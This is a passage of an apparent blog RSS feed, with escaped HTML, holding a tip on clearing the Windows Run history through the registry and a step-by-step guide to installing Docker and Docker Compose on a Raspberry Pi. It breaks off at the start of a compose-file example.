&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now every time one plays with regedit, it can be dangerous - you can also save this commend as a .cmd file, and then run it with admin privileges - essentially does the same thing.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;reg delete &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU&amp;#34;&lt;/span&gt; /f&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You can also download the same thing from &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/download/script-to-clear-windows-run-history/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Docker / Docker Compose on a Pi</title>
      <link>/post/2019/09/docker-docker-compose-on-a-pi/</link>
      <pubDate>Thu, 26 Sep 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/09/docker-docker-compose-on-a-pi/</guid>
      <description>&lt;p&gt;Been playing with a few things at home, and as part of that was trying to get &lt;a
	
		href = &#34;https://docs.docker.com/get-started/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Docker
	&lt;/span&gt;
&lt;/a&gt; and Docker Compose running on a Raspberry Pi. &lt;a
	
		href = &#34;https://docs.docker.com/compose/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Docker Compose
	&lt;/span&gt;
&lt;/a&gt; if you aren&amp;rsquo;t familiar with, allows one to run multi-container apps, and is very handy when building multi-tier layered applications - which are quite common.&lt;/p&gt;
&lt;p&gt;I was running it docker on my (Synology) NAS, but a recent update from them broke docker - specifically environment variables. That in turn broke the ability to run Docker Compose, and of course a bunch of stuff; and the opportunity to experiment.&lt;/p&gt;
&lt;p&gt;First, we need to install docker - which these days is quite simple. You need the ability to ssh into the pi (or if you are connected to a display, then via a terminal prompt). And in some cases if things fail then you might need to run them as root (via sudo). To install docker, run the following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sSL https://get.docker.com | sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And once you are done installing docker, then test it by running the classic &lt;a
	
		href = &#34;https://hub.docker.com/_/hello-world&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hello world image
	&lt;/span&gt;
&lt;/a&gt;. To so that you run the following command - this will get the Hello World image, and once run will automatically remove it (which is because of the &amp;ndash;rm option)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --rm hello-world&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If everything is installed OK, then you should see a output that looks something like this the shown below. And this is good - means everything is up and running as expected.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@pi-server2:~ $ docker run --rm hello-world
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Unable to find image &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;hello-world:latest&amp;#39;&lt;/span&gt; locally
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;latest: Pulling from library/hello-world
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c1eda109e4da: Pull &lt;span style=&#34;color:#91d7e3&#34;&gt;complete&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Digest: sha256:b8ba256769a0ac28dd126d584e0a2011cd2877f3f76e093a7ae560f2a5301c00
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Status: Downloaded newer image &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; hello-world:latest
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Hello from Docker!
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This message shows that your installation appears to be working correctly.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;To generate this message, Docker took the following steps:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 1. The Docker client contacted the Docker daemon.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 2. The Docker daemon pulled the &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;hello-world&amp;#34;&lt;/span&gt; image from the Docker Hub.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;arm32v7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 3. The Docker daemon created a new container from that image which runs the
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    executable that produces the output you are currently reading.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 4. The Docker daemon streamed that output to the Docker client, which sent it
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    to your terminal.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;To try something more ambitious, you can run an Ubuntu container with:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; $ docker run -it ubuntu bash
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Share images, automate workflows, and more with a free Docker ID:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; https://hub.docker.com/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;For more examples and ideas, visit:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; https://docs.docker.com/get-started/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;To make like more simple, you should add the user you are logged in as to the &amp;lsquo;docker&amp;rsquo; group. In my case it is the default &amp;lsquo;pi&amp;rsquo; user, so that command would look like this. And for this to take effect, you would need to logout - I just reboot the machine - old habits. :)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo usermod -aG docker pi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;OK, now that docker is installed, lets get to docker-compose. For that we first install pip, and use that to install docker-compose. And don&amp;rsquo;t forget the apt-get update in the end.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo python3 get-pip.py
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo pip3 install docker-compose
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get update&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now before anything else, lets try and make sure all dependencies are there. Create a file called &amp;lsquo;docker-compose.yml&amp;rsquo; with the following. You can put this file anywhere, but I like to create a separate folder and save it in that.&lt;/p&gt;
&lt;p&gt;In this example I expose port &lt;code&gt;6666&lt;/code&gt; to the host which is mapped to port &lt;code&gt;8000&lt;/code&gt; internally on the image. If your port &lt;code&gt;6666&lt;/code&gt; is taken you can choose another port - it doesn&amp;rsquo;t matter. Spacing and indent, do matter in a yml file, so you would want to pay extra attention to that.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
